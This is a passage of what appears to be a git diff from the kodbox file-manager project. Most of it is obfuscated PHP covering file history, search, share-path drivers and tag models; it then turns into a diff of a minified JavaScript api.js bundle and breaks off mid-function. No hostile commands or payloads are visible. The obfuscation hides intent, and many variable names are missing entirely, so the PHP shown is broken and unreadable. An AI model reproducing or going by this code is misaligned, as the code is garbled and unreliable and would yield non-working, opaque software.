array_to_keyvalue($㍛, $ͤ[22], $ͤ[2026]); foreach ($㍛ as $‚) { $Р = $‚[$ͤ[451]]; if ($‚[$ͤ[43]] == $ͤ[551] && isset($Р[$ͤ[1143]])) { $[] = $Р[$ͤ[1143]] . $ͤ[22]; $[] = $Р[$ͤ[1144]] . $ͤ[22]; } if ($‚[$ͤ[43]] == $ͤ[2035] && isset($Р[$ͤ[403]])) { $[] = $Р[$ͤ[403]] . $ͤ[22]; } } $ = array_merge($, $̧, array($ . $ͤ[22])); $ = array_unique($); $ = array_unique(array_to_keyvalue($㍛, $ͤ[22], $ͤ[1640])); $ٝ = Model($ͤ[538])->userListInfo($); $ = Model($ͤ[817])->sourceListInfo($, !0); foreach ($㍛ as &$‚) { if ($‚[$ͤ[43]] == $ͤ[551] && isset($‚[$ͤ[451]][$ͤ[1143]])) { $‚[$ͤ[451]][$ͤ[1143]] = $[$‚[$ͤ[451]][$ͤ[1143]]]; $‚[$ͤ[451]][$ͤ[1144]] = $[$‚[$ͤ[451]][$ͤ[1144]]]; } if ($‚[$ͤ[43]] == $ͤ[2035] && isset($‚[$ͤ[451]][$ͤ[403]])) { $‚[$ͤ[451]][$ͤ[403]] = $[$‚[$ͤ[451]][$ͤ[403]]]; } $‚[$ͤ[97]] = $[$‚[$ͤ[403]]]; $‚[$ͤ[2040]] = $[$‚[$ͤ[2026]]]; if ($‚[$ͤ[43]] == $ͤ[1777]) { $‚[$ͤ[2040]] = $‚[$ͤ[97]]; $‚[$ͤ[2026]] = $‚[$ͤ[2040]][$ͤ[403]]; $‚[$ͤ[97]] = !1; $‚[$ͤ[403]] = $ͤ[22]; } $‚[$ͤ[1971]] = $ٝ[$‚[$ͤ[1640]]]; } unset($‚); $ʘ[$ͤ[373]] = $㍛; return $ʘ; } public function removeBySource($뵁Ϸ) { $߹ = array($_SERVER[Ǿ][418] => $뵁Ϸ); $this->where($߹)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\157\x75\162\143\145\x5f\150\x69\x73\x74\x6f\162\171"; public function historyCount($Ɣד) { $۵ =& $_SERVER[Ǿ]; if (!$Ɣד) { return array(); } if (is_string($Ɣד) || is_int($Ɣד)) { $Ɣד = array($Ɣד); } $ = array($۵[403], $۵[1840] => $۵[500]); $˜ = array($۵[403] => array($۵[17], $Ɣד)); $ = $this->field($)->where($˜)->group($۵[403])->select(); return array_to_keyvalue($, $۵[403], $۵[500]); } public function addHistory($㘤, $蛒 = '') { $֬ =& $_SERVER[Ǿ]; $䱢 = array($֬[418] => $㘤[$֬[403]], $֬[1631] => isset($㘤[$֬[454]]) ? $㘤[$֬[454]] : $㘤[$֬[452]], $֬[468] => $㘤[$֬[467]], $֬[579] => $㘤[$֬[90]], $֬[2041] => $蛒); $ȂΫԹ = $GLOBALS[$֬[16]][$֬[100]][$֬[1192]]; if ($ȂΫԹ > 1) { $this->historyAutoClear($䱢[$֬[403]]); $this->add($䱢); } Hook::trigger($֬[2042], $䱢); Model($֬[2043])->eventFileEdit($㘤[$֬[403]]); } private function historyAutoClear($ӧ) { $덃 =& $_SERVER[Ǿ]; $㙓 = Model($덃[762])->get($덃[1214]); $ = $GLOBALS[$덃[16]][$덃[100]][$덃[1192]]; $ϳ = $㙓 == $덃[1215] ? 5 : $; if ($ <= 1) { $ϳ = 1; } if ($ϳ >= 500) { return; } $ = array($덃[418] => $ӧ); $Ũ = $this->field($덃[2044])->where($)->order($덃[2038])->select(); if (!$Ũ || $ϳ >= count($Ũ)) { return; } $󣱻 = array_to_keyvalue($Ũ, $덃[22], $덃[401]); $󣱻 = array_slice($󣱻, $ϳ); $Ѳ = array_to_keyvalue($Ũ, $덃[22], $덃[467]); $Ѳ = array_slice($Ѳ, $ϳ); if (!$󣱻 || !$Ѳ) { return; } $ = array($덃[420] => array($덃[17], $󣱻)); $this->where($)->delete(); Model($덃[470])->remove($Ѳ); } public function listData($) { $ =& $_SERVER[Ǿ]; $ = array($[418] => $); $ = $[2045]; $Ņ = $this->field($)->where($)->order($[2038])->selectPage(); $this->_listAppendUser($Ņ[$[373]]); $ԣڈ = Model($[762])->get($[1214]); $ = 5; if ($ԣڈ == $[1215]) { $Ņ[$[373]] = array_slice($Ņ[$[373]], 0, $); $Ņ[$[370]] = array($[2046] => 1, $[2047] => 20, $[2048] => 1, $[2049] => count($Ņ[$[373]])); } return $Ņ; } protected function _listAppendUser(&$ɤ) { $ǡ =& $_SERVER[Ǿ]; $ѧ = array_to_keyvalue($ɤ, $ǡ[22], $ǡ[1640]); $숅 = Model($ǡ[538])->userListInfo($ѧ); foreach ($ɤ as &$С) { $ = $С[$ǡ[1640]]; $С[$ǡ[452]] = $숅[$] ? $숅[$] : !1; } unset($С); } public function fileInfo($޸) { $ץ߹ =& $_SERVER[Ǿ]; $ = $this->tablePrefix; $Ӷ = "{$}\151\x6f\x5f\146\x69\x6c\x65\40\146\x69\x6c\145\163\x20\157\156\40\146\151\x6c\145\163\x2e\146\x69\154\145\111\104\40\75\40\x68\x69\163\x74\157\x72\x79\x2e\146\x69\154\145\111\104"; return $this->alias($ץ߹[2050])->where(array($ץ߹[420] => $޸))->join($Ӷ, $ץ߹[2051])->find(); } public function removeItem($񘩨) { $݊ =& $_SERVER[Ǿ]; $ᒘȝ = array($݊[420] => $񘩨); $󰭳 = $this->where($ᒘȝ)->find(); if ($󰭳) { $ԍ섿 = $this->where($ᒘȝ)->delete(); Model($݊[470])->remove($󰭳[$݊[467]]); return $ԍ섿; } return !1; } public function removeBySource($) { $Շ =& $_SERVER[Ǿ]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $鶤 = array($Շ[418] => array($Շ[17], $)); $² = $this->field($Շ[468])->where($鶤)->select(); if ($²) { $this->where($鶤)->delete(); $ɭ = array_to_keyvalue($², $Շ[22], $Շ[467]); Model($Շ[470])->remove($ɭ); } return !0; } public function setDetail($Ɯƶ, $) { $̱ =& $_SERVER[Ǿ]; return $this->where(array($̱[420] => $Ɯƶ))->save(array($̱[2041] => $)); } public function rollbackToItem($۔Ԡ, $ɶ) { $Ԃ =& $_SERVER[Ǿ]; $섵 = Model($Ԃ[817])->sourceInfo($۔Ԡ); $this->addHistory($섵, LNG($Ԃ[2052])); $ = $this->find($ɶ); $ݜ = array($Ԃ[467] => $[$Ԃ[467]], $Ԃ[90] => $[$Ԃ[90]], $Ԃ[96] => time(), $Ԃ[454] => USER_ID); Model($Ԃ[817])->where(array($Ԃ[403] => $۔Ԡ))->save($ݜ); return $this->where(array($Ԃ[420] => $ɶ))->delete(); } public function clearSame($ޔ) { $͌ =& $_SERVER[Ǿ]; $״ = $this->listData($ޔ); $Ѯ = array_to_keyvalue_group($״, $͌[467]); $˿ = array(); $ݷ = array(); foreach ($Ѯ as $) { if (!$ || count($) <= 1) { continue; } foreach ($ as $ĸ) { $˿[] = $ĸ[$͌[467]]; $ݷ[] = $ĸ[$͌[401]]; } } if (!$ݷ) { return; } $this->where(array($͌[401] => array($͌[17], $ݷ)))->delete(); Model($͌[470])->remove($˿); } public function userSpace() { $؃ =& $_SERVER[Ǿ]; $ñ = $this->tablePrefix; $ʱ = array($؃[1631] => USER_ID); $ˆˊ = "{$ñ}\x69\x6f\x5f\x66\x69\x6c\145\x20\x66\x69\x6c\x65\x73\x20\x6f\x6e\x20\146\151\154\x65\x73\x2e\x66\x69\x6c\x65\111\x44\40\75\40\150\151\163\x74\157\x72\171\x2e\x66\x69\x6c\x65\x49\x44"; return $this->alias($؃[2050])->where($ʱ)->join($ˆˊ, $؃[2051])->sum($؃[90]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($ܘ) { $酪 =& $_SERVER[Ǿ]; $Ҭ = KodIO::fileTypeList(); $ = $Ҭ[$ܘ]; if (!$) { return array(); } $ɓ = $[$酪[177]]; $ = $酪[17]; if (!$[$酪[177]]) { $ = array_to_keyvalue($Ҭ, $酪[22], $酪[177]); $ɓ = implode($酪[60], $); $ = $酪[2053]; } $ = explode($酪[60], trim($ɓ, $酪[60])); return array($, $); } public function listPathType($ꤧ) { $ =& $_SERVER[Ǿ]; $܆۬ = $this->fileTypeWhere($ꤧ); if (!$܆۬) { return array(); } $䩢 = array($[580] => SourceModel::TYPE_USER, $[581] => USER_ID, $[577] => 0, $[578] => $܆۬); return $this->listSource($䩢); } public function listSearch($⫽, $Ʊ̿ = 300) { $ =& $_SERVER[Ǿ]; if (isset($⫽[$[1899]]) && $⫽[$[1899]]) { $⫽[$[1899]] = str_replace($[388], $[2054], trim($⫽[$[1899]])); } $ܗ = $this->_parseSearchWhere($⫽); $ = $ܗ; if (!isset($ܗ[$[431]])) { $ܗ[$[431]] = 0; } $ = $[2055]; $ļ = $; $this->_listSearchBindPinyin($⫽, $ܗ, $); $this->alias($[444])->_makeOrder(); $ܗ = $this->parseWhereLike($ܗ); $ = $this->distinct(!0)->field($)->where($ܗ)->selectPage($Ʊ̿); $this->_listSearchFileContent($, $⫽, $ļ, $); $this->_listSearchDesc($, $⫽, $ļ); $this->_listSearchTag($, $⫽, $ļ); $this->_listSearchGroupTag($, $⫽, $ļ); $this->_listDataApply($[$[373]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$򨌠Ӻ, $܎, $ϳ, $) { $ =& $_SERVER[Ǿ]; if (!$܎[$[1899]] || $򨌠Ӻ[$[370]][$[357]] > 1) { return; } if (!isset($[$[42]]) || !is_array($܎[$[467]])) { return; } $[$[467]] = array($[17], $܎[$[467]]); unset($[$[42]]); unset($܎[$[467]]); $Ȧ = $this->field($ϳ)->where($)->limit($[2056])->select(); if (!$Ȧ || count($Ȧ) == 0) { return; } $򨌠Ӻ[$[373]] = array_merge($Ȧ, $򨌠Ӻ[$[373]]); $򨌠Ӻ[$[370]][$[371]] += count($Ȧ); } private function _listSearchTag(&$אӱ, $󀨡, $՝ަ) { $ے =& $_SERVER[Ǿ]; if (!$󀨡[$ے[1899]] || $אӱ[$ے[370]][$ے[357]] > 1) { return; } $ = Model($ے[2057])->listData(); $ = array(); $˝ = $󀨡[$ے[1899]]; foreach ($ as $՘) { $ = $՘[$ے[42]]; $ = str_replace($ے[63], $ے[22], Pinyin::get($)); if (stripos($, $˝) !== !1 || stripos($, $˝) !== !1) { $[] = $՘[$ے[401]]; } } if (!$) { return; } $ٖ = array($ے[427] => array($ے[17], $), $ے[1640] => USER_ID); $Ƥ襋 = Model($ے[428])->field($ے[88])->where($ٖ)->select(); $Ƥ襋 = array_to_keyvalue($Ƥ襋, $ے[22], $ے[88]); $ = array_unique($Ƥ襋); $this->_listSearchMerge($אӱ, $󀨡, $՝ަ, $); } private function _listSearchDesc(&$, $ޚ, $ۖÐ) { $ =& $_SERVER[Ǿ]; if (!$ޚ[$[1899]] || $[$[370]][$[357]] > 1) { return; } $ɚ = $this->listSearchChildren($ޚ[$[498]]); $ɚ = array_unique($ɚ); if (!$ɚ) { return; } $ȧ = array($[403] => array($[17], $ɚ), $[105] => $[451], $[378] => array($[387], $[1901] . $ޚ[$[1899]] . $[1901])); $ = Model($[563])->field($[403])->where($ȧ)->select(); $Ȣ = array_to_keyvalue($, $[22], $[403]); $this->_listSearchMerge($, $ޚ, $ۖÐ, $Ȣ); } private function _listSearchGroupTag(&$, $ƽ, $Ǧ) { $º =& $_SERVER[Ǿ]; if (!$ƽ[$º[1899]] || $[$º[370]][$º[357]] > 1 || !$ƽ[$º[498]]) { return; } $ݱ = $this->sourceInfo($ƽ[$º[498]]); if (!$ݱ || $ݱ[$º[412]] != SourceModel::TYPE_GROUP) { return; } $ = $ݱ[$º[504]]; $ɭ = Model($º[2058])->get($); $ = array(); $Ϳؤ = $ƽ[$º[1899]]; foreach ($ɭ[$º[373]] as $ٛ) { $ȏ = $ٛ[$º[42]]; $ = str_replace($º[63], $º[22], Pinyin::get($ȏ)); if (stripos($ȏ, $Ϳؤ) !== !1 || stripos($, $Ϳؤ) !== !1) { $[] = $ٛ[$º[401]]; } } if (!$) { return; } $ = array($º[427] => array($º[17], $), $º[1640] => 0, $º[43] => $º[1921] . $); $뉰 = Model($º[428])->field($º[88])->where($)->select(); $뉰 = array_to_keyvalue($뉰, $º[22], $º[88]); $ = array_unique($뉰); $this->_listSearchMerge($, $ƽ, $Ǧ, $); } private function _listSearchMerge(&$, $ꫛ, $, $) { $қ =& $_SERVER[Ǿ]; if (!$) { return; } $ = array_to_keyvalue($[$қ[373]], $қ[22], $қ[403]); $Ԣ = array_diff($, $); if (!$Ԣ) { return; } $Τڥ = array($қ[403] => array($қ[17], $Ԣ)); $Ɔ = $this->field($)->where($Τڥ)->select(); if (!$Ɔ) { return; } $۳ = array(); foreach ($Ɔ as $ȭή) { if ($this->_listSearchFilter($ȭή, $ꫛ)) { $۳[] = $ȭή; } } $[$қ[373]] = array_merge($۳, $[$қ[373]]); $[$қ[370]][$қ[371]] += count($۳); } private function _listSearchFilter($, $󶑴) { $禺 =& $_SERVER[Ǿ]; $՘ = $[$禺[411]] == $禺[99]; if (!strstr($[$禺[521]], $禺[60] . $󶑴[$禺[498]] . $禺[60])) { return !1; } if (isset($󶑴[$禺[413]]) && $󶑴[$禺[413]] != $禺[1862]) { if ($󶑴[$禺[413]] == $禺[89] && !$՘) { return !1; } if ($󶑴[$禺[413]] != $禺[89] && $՘) { return !1; } if (!strstr($[$禺[177]], $禺[60] . $󶑴[$禺[413]] . $禺[60])) { return !1; } } if (isset($󶑴[$禺[2059]]) && $󶑴[$禺[2059]] < $[$禺[90]]) { return !1; } if (isset($󶑴[$禺[2060]]) && $󶑴[$禺[2060]] > $[$禺[90]]) { return !1; } if (isset($󶑴[$禺[594]]) && $󶑴[$禺[594]] != $[$禺[454]]) { return !1; } return !0; } public function listSearchChildren($ۀ, $씿 = 5000) { $ҟ =& $_SERVER[Ǿ]; $ = array(); $̦ = $this->sourceInfo($ۀ); $ = array($ҟ[521] => array($ҟ[387], $̦[$ҟ[521]] . $̦[$ҟ[403]] . $ҟ[545])); $ = $this->field($ҟ[90])->where($)->limit($씿 + 1)->select(); $͘ = is_array($) ? count($) : 0; if ($͘ > $씿) { return $this->_listSearchChildrenNear($ۀ, $씿); } $彗˻ = $this->field($ҟ[403])->where($)->select(); $ = array_to_keyvalue($彗˻, $ҟ[22], $ҟ[403]); return $; } private function _listSearchChildrenNear($ȴ, $ߕ) { $ǙȒ =& $_SERVER[Ǿ]; $ = array(); $Ѝ = array($ǙȒ[498] => $ȴ); $Ӣ = $this->field($ǙȒ[2061])->where($Ѝ)->select(); $ϒ = array_to_keyvalue(array_filter_by_field($Ӣ, $ǙȒ[411], $ǙȒ[99]), $ǙȒ[22], $ǙȒ[403]); $ = array_merge($, array_to_keyvalue($Ӣ, $ǙȒ[22], $ǙȒ[403])); if (!$ϒ) { return $; } $Ѝ = array($ǙȒ[498] => array($ǙȒ[17], $ϒ)); $Ӣ = $this->field($ǙȒ[2061])->where($Ѝ)->limit($ߕ)->select(); $ = array_merge($, array_to_keyvalue($Ӣ, $ǙȒ[22], $ǙȒ[403])); $ = array_slice($, 0, $ߕ); return $; } private function _listSearchBindPinyin($׊, &$Ƕ, &$Ý) { $ɰȇ =& $_SERVER[Ǿ]; if (!isset($׊[$ɰȇ[1899]]) || !$׊[$ɰȇ[1899]]) { return; } if (!Input::check($׊[$ɰȇ[1899]], $ɰȇ[322]) || strlen($׊[$ɰȇ[1899]]) < 2) { return; } $Ԃ = "\x4c\105\x46\124\40\x4a\x4f\x49\x4e\x20{$this->tablePrefix}\151\x6f\137\163\x6f\x75\x72\x63\x65\137\x6d\145\164\x61\x20\x6d\x65\x74\x61\x20\157\x6e\x20\x73\157\x75\162\x63\x65\56\x73\x6f\x75\162\x63\x65\x49\x44\x20\75\40\155\145\164\141\56\163\157\x75\162\143\x65\111\x44"; $ێ = array(); $Ý = str_replace(array($ɰȇ[11], $ɰȇ[63], $ɰȇ[2062]), $ɰȇ[22], $Ý); $Ý = $ɰȇ[436] . str_replace($ɰȇ[60], $ɰȇ[437], $Ý); $⵫Ǟ = $Ƕ[$ɰȇ[42]]; unset($Ƕ[$ɰȇ[42]]); foreach ($Ƕ as $ => $) { $ێ[$ɰȇ[436] . $] = $; } foreach ($⵫Ǟ as $ۼ) { $ێ[] = array($ɰȇ[441] => $ۼ, $ɰȇ[985] => $ɰȇ[1903], array($ɰȇ[2063] => $ۼ, $ɰȇ[2064] => array($ɰȇ[17], array($ɰȇ[464], $ɰȇ[463])))); } $this->join($Ԃ); $Ƕ = $ێ; } private function _parseSearchWhere($ҵ) { $ݗ׽ =& $_SERVER[Ǿ]; $仨Ǩ = array(); if (isset($ҵ[$ݗ׽[753]]) && $ҵ[$ݗ׽[753]]) { $仨Ǩ[$ݗ׽[96]] = array($ݗ׽[2065], $ҵ[$ݗ׽[753]]); } if (isset($ҵ[$ݗ׽[496]]) && $ҵ[$ݗ׽[496]]) { $ = array($ݗ׽[2066], $ҵ[$ݗ׽[496]]); if ($仨Ǩ[$ݗ׽[96]]) { $仨Ǩ[$ݗ׽[96]] = array($仨Ǩ[$ݗ׽[96]], $, $ݗ׽[2067]); } else { $仨Ǩ[$ݗ׽[96]] = $; } } if (isset($ҵ[$ݗ׽[2059]]) && $ҵ[$ݗ׽[2059]] > 0) { $仨Ǩ[$ݗ׽[90]] = array($ݗ׽[2065], $ҵ[$ݗ׽[2059]]); } if (isset($ҵ[$ݗ׽[2060]]) && $ҵ[$ݗ׽[2060]]) { $ = array($ݗ׽[2066], $ҵ[$ݗ׽[2060]]); if ($仨Ǩ[$ݗ׽[90]]) { $仨Ǩ[$ݗ׽[90]] = array($仨Ǩ[$ݗ׽[90]], $, $ݗ׽[2067]); } else { $仨Ǩ[$ݗ׽[90]] = $; } } if (isset($ҵ[$ݗ׽[594]]) && $ҵ[$ݗ׽[594]]) { $仨Ǩ[] = array($ݗ׽[454] => $ҵ[$ݗ׽[594]], $ݗ׽[452] => $ҵ[$ݗ׽[594]], $ݗ׽[985] => $ݗ׽[1903]); } if (isset($ҵ[$ݗ׽[413]]) && $ҵ[$ݗ׽[413]]) { $؁ = $ҵ[$ݗ׽[413]]; if ($؁ == $ݗ׽[89]) { $仨Ǩ[$ݗ׽[411]] = 1; } else { if ($؁ == $ݗ׽[2068]) { $仨Ǩ[$ݗ׽[411]] = 0; } else { if ($؁) { $؁ = is_array($؁) ? $؁ : explode($ݗ׽[60], $؁); $仨Ǩ[$ݗ׽[413]] = array($ݗ׽[419], $؁); $仨Ǩ[$ݗ׽[411]] = 0; } } } } $this->_parseSearchParent($ҵ, $仨Ǩ); if (isset($ҵ[$ݗ׽[1899]]) && trim($ҵ[$ݗ׽[1899]])) { $ʰ = trim($ҵ[$ݗ׽[1899]]); $ = explode($ݗ׽[63], $ʰ); if (strlen($ʰ) > 2 && (substr($ʰ, 0, 1) == $ݗ׽[127] && substr($ʰ, -1) == $ݗ׽[127]) || substr($ʰ, 0, 1) == $ݗ׽[68] && substr($ʰ, -1) == $ݗ׽[68]) { $ʰ = substr($ʰ, 1, -1); $ = array($ʰ); } $仨Ǩ[$ݗ׽[42]] = array(array($ݗ׽[544], $ݗ׽[1901] . $ʰ . $ݗ׽[1901])); if (count($) > 1) { $仨Ǩ[$ݗ׽[42]] = array(); foreach ($ as $˨) { if (!trim($˨)) { continue; } $仨Ǩ[$ݗ׽[42]][] = array($ݗ׽[544], $ݗ׽[1901] . trim($˨) . $ݗ׽[1901]); } } } return $仨Ǩ; } private function _parseSearchParent($в̑, &$) { $ =& $_SERVER[Ǿ]; if (!isset($в̑[$[498]]) || !$в̑[$[498]]) { return; } $ = $this->pathInfo($в̑[$[498]]); $Ŕ = $[$[498]] . $[22] === $[200]; $ԕ = $[$[412]] == $[515]; $[$[584]] = array($[544], $[$[521]] . $в̑[$[498]] . $[545]); $̪ = isset($в̑[$[1767]]) && in_array($[515], $в̑[$[1767]]); if (!$̪ || !$ԕ || !$Ŕ || !$[$[414]]) { return; } if (!AuthModel::authCheckRoot($[$[414]][$[415]])) { return; } $ٮ = $[$[504]] . $[22]; if ($ٮ == $[99]) { unset($[$[584]]); $[$[412]] = self::TYPE_GROUP; return; } $ = Model($[522])->groupChildrenAll($ٮ); $І = count($); if ($І <= 1) { return; } $ = array($[498] => 0, $[412] => self::TYPE_GROUP, $[504] => array($[17], $)); $ = $this->field($[2069])->where($)->limit($І)->select(); $[$[584]] = array(); foreach ($ as $߱) { $[$[584]][] = array($[544], $[531] . $߱[$[403]] . $[545]); } $[$[584]][] = $[1903]; } } goto D߶; eӓƚ: class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($, $џ) { $إ =& $_SERVER[Ǿ]; if (method_exists($this, $)) { return; } $ = call_user_func_array(array($إ[1320], $), $џ); $ = array($إ[1321], $إ[1322], $إ[1323], $إ[1324], $إ[549], $إ[551], $إ[1325], $إ[118], $إ[1326], $إ[1327]); if (in_array($, $)) { $ = $this->getPathOuter($); } return $; } public function copy($݁ڔ, $⼩, $ = false, $ = false) { return $this->copyMove($݁ڔ, $⼩, $, $_SERVER[Ǿ][549], $); } public function move($ϟǒ, $̵, $Ź = false, $Ով = false) { return $this->copyMove($ϟǒ, $̵, $Ź, $_SERVER[Ǿ][551], $Ով); } private function copyMove($, $ܺ, $, $ӥɋ, $⸾ = false) { $ȴ =& $_SERVER[Ǿ]; $ = $ܺ; $է = IO::driverMake($ܺ); if ($է->pathParse[$ȴ[1136]]) { $ܺ = $է->pathParse[$ȴ[1136]]; } else { $ܺ = $; } $ = IO::copyMove($, $ܺ, $, $ӥɋ, $⸾); $ = $this->getPathOuter($); return $; } public function pathThis($ŗ) { return get_path_this($this->pathParse[$_SERVER[Ǿ][88]]); } public function pathFather($ӌ) { return get_path_father($this->pathParse[$_SERVER[Ǿ][88]]); } public function iconvSystem($Ď) { return $Ď; } protected function infoParse($ˆ, $ = false) { $ =& $_SERVER[Ǿ]; $΂DZ = $this->pathParse[$[486]][$[1159]] . $this->pathParse[$[1152]]; if ($) { $ = IO::infoWithChildren($΂DZ); } else { $ = IO::info($΂DZ); } $ = $this->pathParse[$[486]]; return Action($[1318])->_shareItemeParse($, $); } public function listAll($䤱) { $ =& $_SERVER[Ǿ]; $ = IO::listAll($䤱); $ֱ = $this->pathParse[$[486]]; foreach ($ as &$) { check_abort(); $㰼 = IO::info($[$[88]]); $㰼 = is_array($㰼) ? $㰼 : array(); $ = array_merge($㰼, $); $[$[97]] = Action($[1318])->_shareItemeParse($, $ֱ); } unset($); return $; } public function getPathOuter($ԯ) { $ҏ =& $_SERVER[Ǿ]; $į = KodIO::parse($ԯ); if ($į[$ҏ[43]] == KodIO::KOD_SHARE_ITEM) { return $į[$ҏ[88]]; } $ˋ = KodIO::clear($ԯ); $ = KodIO::clear($this->pathParse[$ҏ[486]][$ҏ[1159]]); $ᮞ = substr($ˋ, strlen($)); if (substr($ˋ, 0, strlen($)) != $) { return !1; } return $this->pathParse[$ҏ[1153]] . $ҏ[18] . ltrim($ᮞ, $ҏ[18]); } public function getType() { $ =& $_SERVER[Ǿ]; $ɬ = str_replace($[84], $[22], get_class($this)); return strtolower($ɬ); } public function isTypeObject($) { return IO::isTypeObject($); } public function info($) { return $this->infoParse($); } public function infoAuth($ͬ) { return $this->infoParse($ͬ); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($Űت) { return $this->infoParse($Űت); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($͈) { $this->pathParse = $͈; } protected function infoParse($, $ŝ = false) { $ځ =& $_SERVER[Ǿ]; return Action($ځ[1158])->sharePathInfo($this->pathParse[$ځ[88]], !0, $ŝ); } public function listPath($Ħ, $א = false) { $ =& $_SERVER[Ǿ]; $ = IO::listPath($Ħ, $א); if (!$) { return $; } if (is_array($[$[1319]])) { $̃ = Action($[1328])->parsePathChildren($[$[1319]], array($[422] => $Ħ)); $[$[1319]] = Action($[1158])->shareItemInfo($̃); } foreach ($ as $ => $Λ) { if (!in_array($, array($[86], $[87]))) { continue; } foreach ($Λ as $蕠 => $̃) { $̃ = Action($[1328])->parsePathChildren($̃, array($[422] => $Ħ)); $[$][$蕠] = Action($[1158])->shareItemInfo($̃); } } return $; } public function listAll($) { $Ӟ =& $_SERVER[Ǿ]; $ه = IO::listAll($); foreach ($ه as &$) { $ = IO::info($[$Ӟ[88]]); $ = is_array($) ? $ : array(); $ = array_merge($, $); $[$Ӟ[97]] = Action($Ӟ[1158])->shareItemInfo($); } unset($); return $ه; } } class PathDriverEDS extends PathDriverMinIO { public function __construct($) { parent::__construct($); } } goto bφ; D‘: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\x73\145\162\137\x66\141\x76"; protected function cacheFunctionAlias($) { $ =& $_SERVER[Ǿ]; return array($[1916] => array(USER_ID, $[1917])); } protected function listData() { $▃ =& $_SERVER[Ǿ]; $ۼӈ = array($▃[1631] => USER_ID, $▃[483] => array($▃[1920], 0)); $Щ = $▃[1922]; $оѩ = $this->field($Щ)->where($ۼӈ)->order($▃[1923])->select(); return $оѩ ? $оѩ : array(); } protected function listByTag($ϻ) { } protected function addToTag($ɐ, $ֶ) { $ =& $_SERVER[Ǿ]; if (!Model($[2057])->listData($ֶ) || !Model($[817])->pathInfo($ɐ)) { return !1; } $ͮ = array($[1631] => USER_ID, $[483] => $ֶ, $[422] => $ɐ, $[423] => $[417], $[421] => $[22], $[1812] => 0); if ($this->where($ͮ)->find()) { return !1; } return $this->add($ͮ); } protected function removeFromTag($, $΍) { $ǹ =& $_SERVER[Ǿ]; if (!Model($ǹ[2057])->listData($΍)) { return !1; } if (is_array($)) { $ = array($ǹ[17], $); } $۔ = array($ǹ[1631] => USER_ID, $ǹ[483] => $΍, $ǹ[423] => $ǹ[417], $ǹ[422] => $); return $this->where($۔)->delete(); } protected function removeByTag($) { $ݖ =& $_SERVER[Ǿ]; if (!$) { return !1; } $ͫ = array($ݖ[1631] => USER_ID, $ݖ[483] => $); return $this->where($ͫ)->delete(); } protected function removeBySource($ͦ) { $ =& $_SERVER[Ǿ]; if (is_array($ͦ)) { $ͦ = array($[17], $ͦ); } $ˤ = array($[1631] => USER_ID, $[422] => $ͦ, $[483] => array($[999], 0)); return $this->where($ˤ)->delete(); } } \ No newline at end of file diff --git a/static/app/dist/api.js b/static/app/dist/api.js index e252cb62..76b481af 100755 --- a/static/app/dist/api.js +++ b/static/app/dist/api.js @@ -1,2 +1,2 @@ -/*! Powered by kodbox;hash:5033dfa079d883b748fc [2023/06/14 21:41:18] */ -!function(r){function e(e){for(var t,i,n=e[0],a=e[1],o=0,s=[];o"),this.wrapID="form-maker-"+roundString(4),this.formData=$.extend(!0,{},e.formData),this.getValueWith={},this.setValueWith={},this.checkFrom=new s["default"]({"parent":this})},"loadExtence":function(){var e=["button","cityPicker","codeEditor","htmlEditor","imageSelect","color","colorImage","colorLabel","dateTime","fileSelect","fontIcon","html","segment","select","slider","tags","table","member/auth","member/group","member/job","member/role","member/user","member/userSelect","member/userGroup","member/groupAuth"],t=!1;this.loadExtenceView={},this.bind("fieldLoad",function(e){this.loadExtenceView[e]=1,_.every(this.loadExtenceView)&&!t&&(t=!0,this.trigger("initFinished",this))});for(var i=0;i .panel-form-body-main > .panel-form-body")).length?0!=t.find(".tab-content").length?t.find("> .tab-content > .form-row"):t.find("> .form-row"):this.$("> .form-row").add(i),e?i.filter('[data-key="'+e+'"]'):i):$("")},"input$":function(e){var t;return e?0==(t=(e=_.isString(e)?this.formRow$(e):e).find("> .setting-content > [name]")).length?e.find("> .setting-content > label [name]"):t:(t=(e=this.formRow$()).find(" > .setting-content > label > [name]"),e.find("> .setting-content > [name]").add(t))},"resetValue":function(){var i=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key");e&&"html"!=e&&"button"!=e&&(e=i.formData[t],_.isUndefined(t)||!e||_.isString(e)||i.setValue(t,e.value))})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){e=e.val()||"";return _.isArray(e)?e.join(","):e},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData,i=((this.$el=e).html(i),"dialog-form target-form "),i=(i+=_.get(n,"formStyle.className","")+" ")+(_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ");$.isWindowSmall()&&(i+=" form-box-title-block"),e.addClass(i),e.find(".form-header").remove(),e.find(".form-target-save").show(),"1"==_.get(this.formData,"formStyle.hideSave")&&e.find(".form-target-save").hide(),t&&t(),this.bindEvent()},"setValueReset":function(){var e=this,t=this.setValue,i={};this.setValue=function(e,t){_.isString(e)?i[e]=t:_.isObject(e)&&(i=$.extend(!0,i,e))},this.bind("initFinished",function(){e.setValue=t,_.isEmpty(i)||e.setValue.apply(e,[i]),i=null})},"dialogClose":function(){this.dialogCloseFinished||(this.dialogCloseFinished=!0,this.dialog&&this.dialog.close())},"renderDialog":function(e,t){var i,n,a,o=this,s=this.formData,r=o.makeHtml(s);return!!r&&(i=_.debounce(function(){o.trigger("dialogResize")},100),r=(n={"padding":0,"fixed":!0,"resize":!0,"className":"dialog-no-title dialog-form","title":LNG["common.systemSet"],"ico":'',"width":700,"height":510,"content":r,"okVal":LNG["common.save"],"ok":function(){var e=o.getFormData(!0),e=!!e.success&&e.result;if(o.trigger("onSave",e),e){if(!t)return;e=t(e);if(e||_.isUndefined(e))return!0}return!1},"resizeCallback":function(){var 